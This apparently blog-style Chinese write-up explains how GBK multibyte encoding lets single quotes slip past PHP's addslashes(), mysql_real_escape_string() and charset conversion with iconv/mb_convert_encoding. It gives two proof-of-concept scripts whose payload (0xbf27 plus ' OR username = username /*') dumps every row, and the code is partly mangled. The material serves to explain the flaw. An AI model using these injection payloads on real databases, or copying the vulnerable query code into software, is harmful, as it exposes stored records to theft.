php 绕过单引号,PHP字符编码绕过漏洞总结

CODE:

SET CHARACTER SET ‘GBK’

例:mysql_query(“SET CHARACTER SET ‘gbk'”,$c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

$c=mysql_connect(“localhost”,“user”,“pass”);mysql_select_db(“database”,$c);// change our character setmysql_query(“SET CHARACTER SET ‘gbk'”,$c);// create demo tablemysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET ‘GBK'”,$c);mysql_query(“INSERT INTO users VALUES(‘foo’,’bar’), (‘baz’,’test’)”,$c);// now the exploit code$_POST[‘username’] =chr(0xbf) .chr(0x27) .‘ OR username = username /*’;$_POST[‘password’] =‘anything’;// Proper escaping, we should be safe, right?$user=mysql_real_escape_string($_POST[‘username’],$c);$passwd=mysql_real_escape_string($_POST[‘password’],$c);$sql=“SELECT * FROM  users WHERE  username = ‘{$user}’ AND password = ‘{$passwd}'”;$res=mysql_query($sql,$c);

echomysql_num_rows($res);// will print 2, indicating that we were able to fetch all records?>

纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知

道字符集的情况下用默认字符集处理产生漏洞的。

下面再来分析下国内最近漏洞产生的原因。

问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。

发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过

addslashes() 加上的”\”失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。

根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试

$id1=mb_convert_encoding($_GET[‘id’], ‘utf-8’, ‘gbk’);

$id2=iconv(‘gbk//IGNORE’, ‘utf-8’, $_GET[‘id’]);

$id3=iconv(‘gbk’, ‘utf-8’, $_GET[‘id’]);

这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:

$c=mysql_connect(“localhost”,“user”,“pass”);mysql_select_db(“database”,$c);// change our character setmysql_query(“SET CHARACTER SET ‘gbk'”,$c);// create demo tablemysql_query(“CREATE TABLE users (

username VARCHAR(32) PRIMARY KEY,

password VARCHAR(32)

) CHARACTER SET ‘GBK'”,$c);mysql_query(“INSERT INTO users VALUES(‘foo’,’bar’), (‘baz’,’test’)”,$c);// now the exploit code//$id1=mb_convert_encoding($_GET[‘id’], ‘utf-8’, ‘gbk’);

$id2=iconv(‘gbk//IGNORE’, ‘utf-8’, $_GET[‘id’]);

//$id3=iconv(‘gbk’, ‘utf-8’, $_GET[‘id’]);$sql=“SELECT * FROM  users WHERE  username = ‘{$id2}’ AND password = ‘password'”;$res=mysql_query($sql,$c);

echomysql_num_rows($res);// will print 2, indicating that we were able to fetch all records?>